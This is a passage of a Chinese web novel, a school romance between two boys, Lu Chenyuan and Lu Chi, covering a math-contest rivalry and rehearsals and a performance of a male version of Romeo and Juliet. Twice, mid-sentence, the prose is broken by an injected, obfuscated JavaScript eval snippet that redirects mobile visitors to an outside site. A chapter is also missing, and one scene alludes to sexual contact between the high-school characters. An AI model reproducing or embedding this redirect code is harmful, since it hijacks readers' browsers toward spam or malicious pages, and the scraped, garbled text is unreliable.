他干脆开始检查。一遍,两遍,三遍。确认无误后,他趴在桌子上,侧头看鹿炽。 鹿炽还在和第九题搏斗。阳光从窗户斜射进来,落在他脸上,能看见细小的汗珠。他咬着下唇,手指无意识地转着笔,那是他紧张时的习惯动作。 陆沉远心里软成一片。 这个样子的鹿炽,倔强,认真,不服输。和他记忆里那个被生活磨平了棱角的鹿炽完全不一样。 时间一分一秒过去。终于,监考老师说:“还有半小时,可以交卷了。” 有几个学生起身交卷,陆沉远也站起来。 他走到讲台前交卷时,能感觉到全场的目光都聚焦在他身上——包括鹿炽的。 他回头看了一眼。鹿炽正看着他,眼神复杂,有惊讶,有不解,还有一点……不服气。 陆沉远对他笑了笑,走出礼堂。 --- 成绩三天后就出来了。 公告栏前挤满了人,陆沉远挤进去的时候,听见一片哗然。 “我靠!陆沉远第一?!” “150分?满分?!” “鹿炽第二?差了8分?!” “这不可能吧……” 陆沉远抬头看榜单。 第一名:陆沉远,150分。 第二名:鹿炽,142分。 第三名:李明,128分。 巨大的分差。 他站在那儿,心里没有喜悦,只有不安。 鹿炽会怎么想?会不会觉得他是故意的?会不会更讨厌他了? “远哥!”周浩挤过来,一巴掌拍在他肩上,“牛逼啊!满分!你怎么办到的?!” “运气好。”陆沉远含糊道。 “运气好能考满分?”旁边一个男生酸溜溜地说,“该不会是作弊了吧?” 陆沉远眼神一冷:“你说什么?” 男生被他看得一哆嗦,但嘴硬道:“谁不知道你以前数学也就那样,突然考满分,谁信啊?” “你不信?”陆沉远走近一步,“要不我们现场比一比?” “比、比什么?” “随便你出题。”陆沉远说,“我要是做不出来,我退学。我要是做出来了,你在这儿大喊三声‘我是废物’,怎么样?” 男生脸涨得通红,不敢接话。 “不敢就闭嘴。”陆沉远冷冷道。 人群自动分开一条路。陆沉远走出去,看见鹿炽站在不远处,正看着他。 两人对视了几秒,鹿炽转身走了。 陆沉远追上去。 “鹿炽。” 鹿炽没停。 “鹿炽,你听我说。” “说什么?”鹿炽停下脚步,但没回头,“恭喜你考第一?” 陆沉远走到他面前:“我不是故意的。” “什么不是故意的?” “考第一。”陆沉远说,“我没想压你。” 鹿炽笑了,笑容有点冷:“陆沉远,你是在炫耀吗?‘我没想压你,但一不小心就考了满分’?” “不是!”陆沉远急了,“我就是……就是认真做了题,然后就这样了。我真的没想……” “没想什么?没想让我难堪?”鹿炽看着他,眼睛有点红,“你知道我为了这个竞赛准备了多久吗?三个月!每天除了上课就是刷题,连周末都在图书馆。我想拿第一,想保送A大,想……想证明自己。” 他声音有点抖:“然后你来了,随便一考,就满分。陆沉远,你觉得这公平吗?” 陆沉远哑口无言。 是啊,不公平。他一个成年人,用积累多年的经验去跟高中生比赛,简直就是降维打击。 可他不能说。不能说“其实我二十七岁了”,不能说“我管理过上市公司”,不能说“这些题对我来说跟1+1一样简单”。 他只能说:“对不起。” “你不用道歉。”鹿炽吸了吸鼻子,努力让声音平稳,“你考得好是你的本事。我只是……只是有点难受。” 他顿了顿,又说:“但我不会认输的。下次我会考得更好。” 说完,他绕过陆沉远,快步离开。 陆沉远站在原地,看着他的背影,心里像塞了一团湿棉花,又沉又闷。 周浩走过来,小心翼翼地问:“远哥,你俩……吵架了?” “嗯。” “因为竞赛?” “嗯。” 周浩挠挠头:“其实我能理解鹿炽。他一直都是第一,突然被人超了,心里肯定不舒服。更何况超他的人是你……” “我怎么了?” “你以前成绩虽然好,但没到碾压他的程度。”周浩说,“这次太突然了,谁都没想到。” 陆沉远叹了口气:“我也没想到。” 他是真的没想到。他只是想考好一点,让鹿炽看见他的努力,结果用力过猛,直接把人家从第一的宝座上踹下来了。 这下好了,追妻路更漫长了。 --- 下午放学,陆沉远去图书馆,发现鹿炽没在。 他找了一圈,最后在天台找到了人。 鹿炽坐在天台的栏杆边——当然不是外面,是里面安全的地方。他抱膝坐着,下巴搁在膝盖上,看着远处的天空发呆。 陆沉远走过去,在他旁边坐下。 鹿炽看了他一眼,没说话。 两人沉默地坐了一会儿。傍晚的风很凉,吹得人清醒。 “我小时候,”陆沉远忽然开口,“特别讨厌学习。” 鹿炽没动,但耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271896|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了动——他在听。 “我觉得学习没用,还不如打架来得痛快。”陆沉远继续说,“后来是我爸揍了我一顿,说‘你要是不想将来靠我养活,就给我好好学’。我就学了,但也不认真,随便考考,能及格就行。” “那你为什么……”鹿炽轻声问,“成绩一直很好?” “可能天生聪明吧。”陆沉远苦笑,“但这也不是什么好事。因为太容易了,所以不珍惜。别人熬夜刷题的时候,我在打游戏。别人拼命背书的时候,我在睡觉。” 他顿了顿:“直到后来,我才明白,有些东西不是理所当然的。天赋会消失,运气会用完,只有努力不会背叛你。” 鹿炽转头看他:“你想说什么?” “我想说,”陆沉远看着他的眼睛,“你比我厉害多了。你是靠努力一步一步走到今天的,而我只是靠小聪明。这次我赢了你,但下次不一定。下下次更不一定。” 鹿炽没说话。 “而且,”陆沉远补充,“我这次能考满分,是因为……我最近真的很努力。我把高中三年的数学书都翻了一遍,竞赛题刷了几百道。我不是随随便便就考出来的。” 这话半真半假。他确实翻了一遍书,但更多是复习。刷题也是真的,但对他来说就像复习小学算术。 鹿炽沉默了很久,最后说:“那道第九题,你是怎么解的?” 陆沉远愣了一下,然后笑了:“你想知道?” “嗯。” 陆沉远从书包里掏出纸笔,开始给他讲解。 他讲得很细,每一步都解释清楚,为什么要这么想,为什么选这个方法。鹿炽听得很认真,偶尔会提问,陆沉远都耐心解答。 讲完的时候,天已经快黑了。 “原来是这样……”鹿炽喃喃道,“我太纠结于物理模型,没想到用微分方程。” “你的思路也没错,只是绕了点弯。”陆沉远说,“如果时间够,你也能解出来。” “不一定。”鹿炽很诚实,“我可能想不到用你那种方法。” “那是因为你还没学到。”陆沉远说,“等大学学了微积分,这题对你来说就是小儿科。” 鹿炽抬头看他:“你……怎么知道这么多大学的知识?” 陆沉远心里一紧。完了,说漏嘴了。 “我……自学了一点。”他含糊道。 “自学?”鹿炽盯着他,“陆沉远,你最近真的很奇怪。成绩突飞猛进,说话方式也不一样了,还会讲大学的知识……你到底是谁?” 陆沉远心脏狂跳。 这个鹿炽太敏锐了。他是不是察觉到了什么?记忆世界里的人会意识到自己活在记忆里吗? “我就是我啊。”陆沉远勉强笑道,“还能是谁?” 鹿炽看了他很久,最后移开视线:“算了,你不愿意说就算了。” 他站起来,拍拍裤子上的灰:“谢谢你的讲解。” “鹿炽。”陆沉远叫住他。 “嗯?” “下次竞赛,”陆沉远说,“我不会再考这么好了。” 鹿炽皱眉:“什么意思?你要让我?” “不是让。”陆沉远说,“是……给你留点面子。毕竟追人得讲究策略,把喜欢的人踩在脚下不是个好主意。” 鹿炽脸一红:“谁要你让了!我会凭实力赢回来的!” “好。”陆沉远笑了,“我等你赢我。” 鹿炽瞪他一眼,转身要走,又停住:“对了,恭喜你。第一名……实至名归。” 他说得有点别扭,但陆沉远听出了真诚。 “谢谢。”陆沉远轻声说。 鹿炽点点头,快步离开了。 陆沉远坐在天台上,看着晚霞一点点染红天空。 他知道自己搞砸了。 用成年人的思维去欺负高中生,还把人弄哭了。这算什么追妻?这分明是结仇。 但他不后悔。 因为鹿炽说了,下次要凭实力赢回来。 也就是说,还会有下次。 他还有机会,慢慢来,一步一步,把亏欠的都补上。 哪怕这条路再难,他也会走下去。 因为鹿炽值得。 值得他放下所有骄傲,值得他重新学怎么去爱,值得他一遍遍说对不起。 陆沉远站起来,伸了个懒腰。 夕阳把他的影子拉得很长,像个孤独的巨人。 但没关系。 至少现在,他能看见鹿炽好好的,会生气,会不服输,会红着脸说“恭喜你”。 这就够了。 慢慢来。 他有的是时间。 也有的是耐心。 6. 《罗密欧与“朱丽叶”》(一) 文艺节的通知贴出来那天,全班都炸了。 高三了,按理说这种活动跟毕业班没关系——但今年校长不知道抽什么风,说“高三学生也需要放松”,非要每个班都出节目。 “可以唱歌,可以跳舞,可以演小品,也可以演话剧。”班主任推了推眼镜,“文艺委员统计一下,周五前报给我。” 文艺委员是个戴眼镜的女生,站起来小声说:“老师,我们班……好像没什么文艺细胞。” “那就演话剧。”班主任一锤定音,“简单,有剧本,照着演就行。” “演什么?” 班主任想了想:“《罗密欧与朱丽叶》吧,经典。” 全班:“……” 周浩在下面小声嘀咕:“经典是经典,但让一群高中生演爱情悲剧,合适吗?” “闭嘴。”班主任瞪他一眼,“就这么定了。文艺委员负责选角,下周一放学后开始排练。” 下课铃一响,文艺委员就被围住了。 “我要演罗密欧!” “我演朱丽叶!” “得了吧你,朱丽叶得找好看的……” 文艺委员推了推眼镜,弱弱地说:“那个……老师说,可以创新。所以我在想,要不要改成现代版?或者……其他版本?” “什么版本?” 文艺委员看了鹿炽和陆沉远一眼,小声说:“比如……都是男生的版本?” 全班安静了一秒,然后炸得更厉害了。 “我靠!刺激!” “男生演朱丽叶?谁演?” “那罗密欧呢?也是男生?” “这不是同性恋话剧吗?!” 班主任不知道什么时候又回来了,站在门口咳嗽一声:“什么同性恋?莎士比亚的原著就是赞美爱情,爱情不分性别。我觉得这个创意不错,就按这个来。” 全班再次:“……” 陆沉远转头看鹿炽。鹿炽正低头看书,好像这事跟他没关系似的——但陆沉远看见他耳朵红了。 “鹿炽。”陆沉远叫了他一声。 鹿炽抬头:“干嘛?” “你想演什么?” “什么都不想演。”鹿炽合上书,“我要准备数学竞赛。” “可是老师说每个人都要参与。”文艺委员弱弱地补充,“鹿炽,你成绩好,记台词快,要不……你演朱丽叶?” 鹿炽脸都绿了:“我是男的。” “所以才是创新版啊。”文艺委员说,“罗密欧和朱丽叶都是男生,多有意思。” “那谁演罗密欧?” 全班齐刷刷看向陆沉远。 陆沉远:“……” 周浩憋着笑推他:“远哥,上啊!多好的机会!” 陆沉远瞪他一眼,然后看向鹿炽:“你要是演,我就演。” 鹿炽站起来:“我不演。” “那我也没兴趣。”陆沉远耸肩。 文艺委员快哭了:“那怎么办啊……老师说了,必须出节目……” 最后是班主任出面调解:“这样,投票。同意鹿炽演朱丽叶的举手。” 全班除了鹿炽,全举手了。 “同意陆沉远演罗密欧的举手。” 还是除了鹿炽,全举手了。 班主任满意地点头:“好,就这么定了。鹿炽,陆沉远,你俩好好准备。其他同学做配角,文艺委员当导演。下个月文艺节,咱们班就靠你们了。” 鹿炽还想说什么,班主任已经走了。 他站在原地,脸一阵红一阵白。 陆沉远走过去,小声说:“要不……我去跟老师说,换人?” 鹿炽瞪他:“现在去说,不是更显得我矫情?” “那你想怎么办?” “演就演。”鹿炽咬牙,“不就是背台词吗。” 陆沉远看着他气鼓鼓的样子,没忍住笑了。 鹿炽瞪他:“笑什么?” “没什么。”陆沉远努力憋笑,“就是觉得……你演朱丽叶,应该挺可爱的。” 鹿炽一脚踹在他小腿上:“滚。” --- 剧本很快就发下来了。 文艺委员确实下了功夫,把原著改编成了男生版。罗密欧叫罗欧,朱丽叶叫朱叶,两个家族变成了两个敌对的学生社团——篮球社和文学社。 “这样更贴近校园生活。”文艺委员解释,“而且冲突也更合理。” 陆沉远翻开剧本。第一场就是罗欧和朱叶在化装舞会上一见钟情——虽然两人都戴着面具,但一眼就认出了对方是“敌人”。 “这剧情……”周浩凑过来看,“有点狗血啊远哥。” “莎士比亚写的,能不狗血吗。”陆沉远说。 “但你要跟鹿炽说‘你的眼睛比星星还亮’,还要牵他的手,还要……我靠,最后还有吻戏?!”周浩指着最后一页。 陆沉远心里一跳。 吻戏? 他翻到最后。确实是吻戏——罗欧以为朱叶死了,在他“尸体”前告白,然后吻了他。当然,改编版改成了“额头吻”,但也够刺激了。 陆沉远抬头看鹿炽。鹿炽正盯着剧本发呆,耳朵红得能滴血。 “那个……”文艺委员小声说,“吻戏可以借位,不用担心。” 全班男生开始起哄:“借位多没意思!真吻!真吻!” 鹿炽抓起书包就要走,被陆沉远一把拉住。 “别理他们。”陆沉远低声说,“你要是不愿意,我去跟导演说改戏。” 鹿炽甩开他的手:“不用你管。” 排练定在每周一、三、五放学后。第一次排练,文艺委员把大家带到学校的小礼堂——其实就是个废弃的教室,桌椅堆在角落,中间空出一块地方。 “先走位。”文艺委员拿着剧本,“第一场,化装舞会。罗欧和朱叶在人群中相遇,四目相对,一见钟情。” 陆沉远和鹿炽站在教室中央,中间隔着三米远。 “站近点。”文艺委员说,“你们得擦肩而过,然后回头对视。” 陆沉远往前挪了一步。鹿炽没动。 “鹿炽,你也往前。”文艺委员说。 鹿炽不情愿地往前挪了半步。 两人之间的距离从三米缩短到一米五。陆沉远能看见鹿炽长长的睫毛,还有他因为紧张而抿紧的嘴唇。 “开始吧。”文艺委员说。 陆沉远深吸一口气,开始念台词:“这面具后的眼睛,为何如此熟悉?” 这是改编后的台词,原著是“这面纱后的容颜”。 鹿炽接词:“陌生人的声音,却敲打着我的心房。” 他的声音很轻,有点抖,但意外地好听。陆沉远心跳漏了一拍。 “或许我们曾在梦中相遇。”陆沉远往前走了一步,“摘下你的面具,让我看看你的脸。” 按照剧本,这里朱叶应该后退,但鹿炽没动。他就站在那里,看着陆沉远,眼睛亮得像盛着星星。 陆沉远也忘了台词。 两人就这么对视着,教室里安静得能听见呼吸声。 “卡!”文艺委员喊,“这里朱叶要后退,表现出惊慌。鹿炽,你太镇定了。” 鹿炽回过神,脸一红:“对不起。” “再来一次。” 这次鹿炽后退了,但退得太猛,差点绊倒。陆沉远下意识伸手扶他,握住了他的手腕。 皮肤接触的瞬间,两个人都僵住了。 陆沉远能感觉到鹿炽手腕的温度,还有脉搏的跳动——很快,像受惊的小动物。 “谢、谢谢。”鹿炽挣开他的手,后退一步。 “不客气。”陆沉远收回手,手心还残留着温度。 排练继续。第二场是阳台戏——改编成了天台戏。罗欧爬上天台,向朱叶告白。 “这里需要一点肢体接触。”文艺委员说,“罗欧要抓住朱叶的手,深情告白。” 陆沉远看向鹿炽:“可以吗?” 鹿炽犹豫了一下,点头。 两人面对面站着。陆沉远伸手,轻轻握住鹿炽的手——这次是手掌,不是手腕。 鹿炽的手比他的小一圈,手指修长,掌心有薄茧,是常年写字留下的。 “朱叶,”陆沉远念台词,“你的名字是我的敌人,但你的心,却是我唯一的归宿。” 这是改编后的台词。原著是“罗密欧啊罗密欧,为什么你偏偏是罗密欧”。 鹿炽垂着眼睛,没看他:“罗欧,我们之间隔着两个世界的距离。” “那我就摧毁这两个世界。”陆沉远握紧他的手,“为了你,我愿意与全世界为敌。” 他说得很认真,不只是念台词。鹿炽抬起头,撞上他的视线。 那双眼睛里有什么东西,深沉而炽热,像要把人吸进去。 鹿炽心跳乱了。 “卡!”文艺委员又喊,“很好!这段情绪很到位!保持这个状态!” 陆沉远松开手。鹿炽立刻把手背到身后,指尖还在微微颤抖。 休息的时候,周浩凑过来:“远哥,你刚才那眼神,绝了。我都以为你真爱上他了。” 陆沉远没说话,只是看向鹿炽。鹿炽正坐在角落喝水,侧脸对着他,耳尖还是红的。 “不过鹿炽演得也挺好。”周浩说,“平时那么毒舌,演起朱丽叶来还挺像那么回事。” “他不是演。”陆沉远轻声说。 “什么?” “没什么。” 陆沉远知道,鹿炽不是在演。那个惊慌,那个紧张,那个心跳加速——都是真的。 因为鹿炽喜欢他。 哪怕在这个记忆世界里,鹿炽还不承认,甚至抗拒,但喜欢是藏不住的。它会从眼神里漏出来,从呼吸里溢出来,从每一次肢体接触的僵硬里透出来。 而陆沉远要做的,就是让这份喜欢生根发芽,长成参天大树。 然后再亲手砍倒它。 因为只有这样,鹿炽才会醒。 陆沉远握紧拳头,指甲陷进掌心。 疼,但必须忍。 --- 第三次排练,到了吻戏的前一场。 罗欧以为朱叶死了,抱着他的“尸体”痛哭告白。 “这里情绪要饱满。”文艺委员说,“罗欧要崩溃,要绝望,要……” “要抱着他哭。”周浩在旁边补充,“远哥,你能哭出来吗?” 陆沉远看了眼躺在地上的鹿炽——为了排练,文艺委员找了个垫子铺在地上,鹿炽就躺在上面,闭着眼睛,装死。 他穿着校服,闭着眼的样子很安静,胸口随着呼吸微微起伏。阳光从窗户照进来,落在他脸上,像镀了层金边。 陆沉远心脏一疼。 他想起现实世界里,鹿炽躺在病床上的样子。也是这么安静,也是闭着眼睛,胸口随着呼吸机起伏。 那时候他握着鹿炽的手,一遍遍说“对不起”,但鹿炽听不见。 “开始吧。”文艺委员说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271897|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆沉远跪在垫子边,看着鹿炽的脸。 “朱叶……”他开口,声音哑得厉害,“你为什么……要离开我?” 这不是剧本里的台词,但文艺委员没喊卡。 陆沉远伸手,轻轻抚摸鹿炽的脸——剧本里没有这个动作,但他做了。 “我说过要保护你,说过要带你走,说过……”他哽了一下,“说过要爱你一辈子。” 鹿炽的睫毛颤了颤。 “可是我食言了。”陆沉远继续说,眼泪真的掉下来了,砸在鹿炽脸上,“我伤害了你,辜负了你,把你弄丢了。” 他俯下身,额头抵着鹿炽的额头:“对不起……真的对不起……” 教室里安静得可怕。所有人都看着他们,没人说话。 鹿炽睁开了眼睛。 四目相对。陆沉远看见鹿炽眼睛里映着自己的脸,还有泪水。 “卡……”文艺委员小声说,声音也有点哽咽,“太、太好了……” 陆沉远直起身,抹了把脸。他没想到自己会真哭,但情绪上来了,控制不住。 鹿炽坐起来,看着他,眼神复杂。 “你……”他轻声说,“刚才那些话……” “是台词。”陆沉远打断他,勉强笑了笑,“我即兴发挥的,还行吧?” 鹿炽没说话,只是看着他。 休息的时候,鹿炽走到陆沉远身边,递给他一瓶水。 “谢谢。”陆沉远接过来。 “你刚才……”鹿炽犹豫了一下,“为什么哭?” “入戏了。”陆沉远说,“罗欧太爱朱叶了,爱到失去理智。” 鹿炽沉默了一会儿,说:“陆沉远,你有时候……让我很困惑。” “困惑什么?” “分不清你是在演戏,还是在说真话。” 陆沉远看着他:“如果我说都是真话呢?” 鹿炽愣住了。 “我对你说的话,做的事,都是真心的。”陆沉远一字一顿,“不是台词,不是演戏,就是我想说的,想做的。” 鹿炽张了张嘴,没发出声音。 “你不用现在回答我。”陆沉远站起来,“排练快结束了,准备最后一场吧。” 最后一场,吻戏。 文艺委员很紧张:“那个……要不还是借位吧?反正台下也看不清楚。” “不行!”周浩带头起哄,“要真吻!艺术需要真实!” “可、可是……”文艺委员看向鹿炽和陆沉远,“你们觉得呢?” 鹿炽脸都红透了:“借位。” 陆沉远却说:“听导演的。” 全班都看向文艺委员。文艺委员快哭了:“那、那……借位吧。安全第一。” 最后一场戏。罗欧吻别“死去”的朱叶。 鹿炽躺在垫子上,闭着眼,但睫毛抖得厉害。陆沉远跪在他身边,俯下身。 按照借位的设计,他应该吻在鹿炽的额头,但脸要侧开,让观众看起来像在吻嘴唇。 可是当陆沉远靠近的时候,他闻到了鹿炽身上洗衣粉的香味,还有少年特有的干净气息。 他的呼吸乱了。 鹿炽的睫毛抖得更厉害了,嘴唇微微抿着,像在紧张。 陆沉远闭上眼睛,嘴唇落在鹿炽的额头上。 很轻的一个吻,像羽毛拂过。 但时间仿佛静止了。他能感觉到鹿炽额头的温度,能听见他加快的呼吸,能感受到他身体的僵硬。 三秒,还是五秒? 陆沉远直起身,睁开眼睛。 鹿炽也睁开了眼睛,看着他,眼神迷蒙,像还没从戏里出来。 教室里安静了几秒,然后爆发出掌声和口哨声。 “好!” “牛逼!” “你俩可以去演电视剧了!” 陆沉远伸手把鹿炽拉起来。鹿炽的手很凉,还在抖。 “没事吧?”陆沉远低声问。 鹿炽摇摇头,但没看他。 排练结束,大家收拾东西离开。陆沉远和鹿炽最后走,锁了教室门。 夕阳把走廊染成橘红色。两人并排走着,影子在地上拉得很长。 “下周一继续排练。”陆沉远说。 “嗯。” “你演得很好。” “你也是。” 沉默。 走到楼梯口时,鹿炽忽然开口:“陆沉远。” “嗯?” “你刚才……”鹿炽犹豫了一下,“在戏里说的那些话,是真心的吗?” 陆沉远停下脚步,转身看他。 夕阳从窗户照进来,给鹿炽整个人镀上一层金边。他的眼睛很亮,带着期待,也带着不安。 “是。”陆沉远说,“每一句都是真心的。” 鹿炽看着他,很久,然后笑了。 很轻的一个笑,但眼睛里有了光。 “我知道了。”他说。 然后转身下楼,脚步轻快。 陆沉远站在原地,看着他的背影消失在楼梯拐角。 心里五味杂陈。 他知道自己又往前迈进了一步。 但也离那个必须完成的“任务”更近了一步。 他必须让鹿炽爱上他,然后再亲手打碎这份爱。 为了唤醒他。 为了让他活下去。 陆沉远握紧拳头,指甲陷进掌心。 疼,但必须忍。 为了鹿炽,他什么都能忍。 8. 《罗密欧与“朱丽叶”》(三) 第二天早上,鹿炽是被人摇醒的。 “鹿炽,起床了,七点半了。” 陆沉远的声音在耳边响起,带着刚睡醒的低哑。鹿炽迷迷糊糊睁开眼,看见陆沉远已经穿戴整齐,站在他床边。 “赶紧洗漱,八点要到电影院化妆。”陆沉远说着,从桌上拿起酒店送的矿泉水,拧开递给他。 鹿炽坐起来,接过水喝了一口,脑子还处于宕机状态。 然后他想起了昨晚的事。 脸“唰”地红了。 “那个……”他低头看着被子,声音小得像蚊子,“昨晚……” “昨晚什么?”陆沉远一脸无辜,“哦,你是说帮你解决生理需求那事?不用谢,同学之间互相帮助应该的。” 鹿炽抓起枕头砸过去:“你能不能正经点!” 陆沉远接住枕头,笑了:“行了,快去洗漱,真要迟到了。” 鹿炽逃也似的冲进浴室。镜子里的自己头发乱糟糟,眼睛还有点肿,脖子上……等等,脖子上是什么? 他凑近镜子,看见锁骨位置有个浅浅的红印。不像是吻痕,更像是……被手指按出来的? 他想起昨晚陆沉远帮他时,另一只手按着他的肩膀。可能就是那时候留下的。 鹿炽用冷水拍脸,强迫自己冷静下来。今天有重要的演出,不能分心。 两人收拾好下楼时,其他同学已经在大堂集合了。文艺委员拿着名单点名,看见他们,眼睛一亮:“你们来了!快去餐厅吃早饭,吃完我们就出发!” 早餐是自助餐,种类不多,但管饱。鹿炽没什么胃口,只拿了片面包和牛奶。陆沉远往他盘子里又放了个鸡蛋:“吃这个,补充蛋白质。” “我吃不下。”鹿炽小声说。 “吃不下也得吃。”陆沉远在他对面坐下,“一会儿上台站两小时,低血糖晕倒怎么办?” 鹿炽只好乖乖吃鸡蛋。 周浩端着盘子凑过来,眼神在两人之间来回打量:“远哥,鹿炽,你俩昨晚睡得怎么样?” 鹿炽被牛奶呛到了,咳嗽起来。陆沉远面不改色:“挺好的,酒店床挺软。” “哦——”周浩拉长声音,“就只是床软?” “不然呢?”陆沉远瞥他一眼,“你想问什么?” “没什么没什么。”周浩赶紧低头吃饭,但嘴角还挂着贼笑。 鹿炽脸更红了,恨不得把头埋进盘子里。 吃完饭,一行人步行去电影院。电影院就在酒店对面,五分钟路程,但文艺委员非要排成两列纵队,说“要有仪式感”。 于是早上八点的街道上,出现了一队穿着校服的高中生,整齐地过马路,引来路人侧目。 鹿炽和陆沉远并排走在队伍中间。陆沉远的手偶尔会碰到鹿炽的手,每次碰到,鹿炽都会像触电一样缩回去。 “紧张?”陆沉远低声问。 “嗯。”鹿炽老实承认,“怕忘词。” “不会的。”陆沉远说,“你背得比我都熟。” “可我还是怕。” 陆沉远想了想,把手伸过去:“牵着。” 鹿炽瞪大眼睛:“什么?” “牵手。”陆沉远说,“牵着就不紧张了。” 鹿炽看着那只手。骨节分明,手指修长,掌心有薄茧——昨晚就是这只手,帮他…… “不要。”他把手背到身后。 陆沉远笑了,没勉强。 电影院门口已经贴出了文艺节的海报,他们班的话剧排在压轴位置,海报上写着:“高三(2)班创新改编《罗密欧与朱丽叶》——男生版,不一样的爱情故事”。 “这宣传语……”周浩摸着下巴,“怎么感觉有点暧昧?” 文艺委员推了推眼镜:“就是要暧昧,才有看点。” 后台乱成一团。十多个班级的节目轮流彩排、化妆、换衣服,到处都是跑来跑去的学生和老师。 他们班分到了一个小化妆间,勉强能塞下十几个人。服装是租的,罗欧和朱叶的戏服最复杂——罗欧是骑士装,朱叶是改良版贵族服饰,保留了裙撑但去掉了裙子,换成了裤子。 鹿炽看着那套衣服,脸都绿了:“这……这真是男生穿的?” “创新嘛。”服装组的女生笑眯眯地说,“快试试合不合身。” 鹿炽抱着衣服进了更衣室。十分钟后,他扭扭捏捏地出来了。 全班安静了一秒,然后爆发出惊叹。 “我靠!鹿炽你可以啊!” “这衣服居然能穿出这种感觉?” “远哥!你快看!” 陆沉远转过头,愣住了。 鹿炽穿着白色衬衫,外面套着深蓝色马甲,下身是同色长裤,裤腿塞进长靴里。最外面是一件带花边的外套,袖口有蕾丝装饰——但因为是男装,所以设计得比较简洁。 他头发被临时喷了点发胶,刘海梳上去,露出光洁的额头和漂亮的眉眼。 整个人像个从油画里走出来的贵族少年,清冷又矜贵。 “怎么样?”鹿炽不自在地扯了扯衣领,“是不是很奇怪?” “不奇怪。”陆沉远走过去,帮他整理了一下外套领子,“很好看。” 鹿炽耳尖红了。 “该你了远哥!”周浩把罗欧的戏服塞给陆沉远。 罗欧的服装更简单些,黑色骑士装,配长剑和披风。陆沉远换好出来时,全班又是一阵骚动。 他身高腿长,肩宽腰窄,穿上骑士装后显得更加挺拔。剑眉星目,配上这身衣服,活脱脱一个中世纪贵族。 “绝了!”文艺委员激动得直拍手,“你俩站一起!我看看效果!” 鹿炽和陆沉远并排站着。一个清冷矜贵,一个英气逼人,画面养眼得不像话。 “拍照拍照!”有人掏出手机。 两人被拉着拍了好几张合照。有一张是陆沉远搂着鹿炽的肩膀,鹿炽没看镜头,而是侧头看陆沉远,眼神里带着自己都没察觉的依赖。 “这张好!”周浩说,“回头洗出来贴教室后墙!” 鹿炽抢过手机想删,被陆沉远拦住了:“留着吧,纪念。” “纪念什么……”鹿炽小声嘟囔,但没再坚持。 化完妆已经是中午。简单吃了盒饭,下午一点,演出正式开始。 他们班的节目在倒数第二个,有足够的时间准备。但等待的过程更煎熬,鹿炽坐在后台的椅子上,一遍遍默背台词,手心里全是汗。 “别背了。”陆沉远坐到他旁边,“越背越紧张。” “那怎么办?” “聊点别的。”陆沉远想了想,“你爸妈今天来了吗?” 鹿炽摇头:“他们出差了,下周才回来。” “可惜了。”陆沉远说,“不然可以让他们看看你穿这身衣服的样子。” “有什么好看的……”鹿炽低头抠手指,“又不是什么正经演出。” “怎么不正经?”陆沉远认真地说,“这是艺术。你演得很好,值得被看见。” 鹿炽抬头看他:“你真的觉得我演得好?” “真的。”陆沉远说,“你是我见过最好的朱丽叶。” 鹿炽笑了:“废话,你还能见过几个朱丽叶。” “就你一个。”陆沉远看着他,“以前没有,以后也不会有。” 鹿炽心跳漏了一拍。 后台的广播响起:“请高三(2)班节目组准备,十分钟后上场。” 所有人都紧张起来。文艺委员最后一遍检查道具,周浩和其他配角互相打气,鹿炽站起来,深吸一口气。 陆沉远也站起来,走到他面前,伸手:“最后对一遍台词?” 鹿炽把手放上去:“好。” 两人小声对了几句关键台词,确认无误。陆沉远握紧他的手:“别怕,有我在。” 鹿炽点头,手不再抖了。 幕布拉开,灯光亮起。 第一场,化装舞会。陆沉远和鹿炽站在舞台两侧,随着音乐响起,缓缓走向对方。 台下坐满了人,黑压压一片,但鹿炽眼里只有陆沉远。 他戴着面具,只能看见眼睛。那双眼睛在舞台灯光下格外明亮,像盛着星光。 两人擦肩而过,同时回头。 “这面具后的眼睛,为何如此熟悉?”陆沉远念出台词,声音透过麦克风传遍全场。 鹿炽接词:“陌生人的声音,却敲打着我的心房。” 台下很安静,所有人都被吸引住了。 接下来的戏份顺利得不可思议。阳台戏,告别戏,争吵戏……每一场都演得投入而自然。当演到罗欧以为朱叶死去,抱着他痛哭时,台下甚至有女生开始抽泣。 “朱叶……你为什么……要离开我?”陆沉远的声音哽咽,眼泪真的掉下来,砸在鹿炽脸上。 鹿炽闭着眼睛,能感觉到他的泪水,能听见他声音里的绝望。那一瞬间,他几乎忘了这是在演戏。 最后一场,吻别。 陆沉远俯下身,嘴唇落在鹿炽额头上。聚光灯打在两人身上,像一幅定格画面。 三秒,五秒,十秒。 台下爆发出雷鸣般的掌声。 幕布缓缓合上。鹿炽睁开眼,看见陆沉远还保持着俯身的姿势,眼睛红红的,脸上有泪痕。 “结束了。”陆沉远轻声说。 鹿炽坐起来,看着他,忽然伸手擦掉他脸上的泪:“你演得太投入了。” “因为是真的。”陆沉远握住他的手,“我对你说的话,都是真的。” 后台,全班同学冲过来拥抱他们。 “牛逼!太牛逼了!” “你俩绝了!我都看哭了!” “绝对第一!稳了!” 文艺委员激动得语无伦次:“太、太好了……比排练时还好……” 鹿炽被大家围着,有点不知所措。陆沉远护着他,帮他挡开过于热情的拥抱。 所有节目结束后,评委开始打分。他们班坐在观众席第一排,紧张地等待结果。 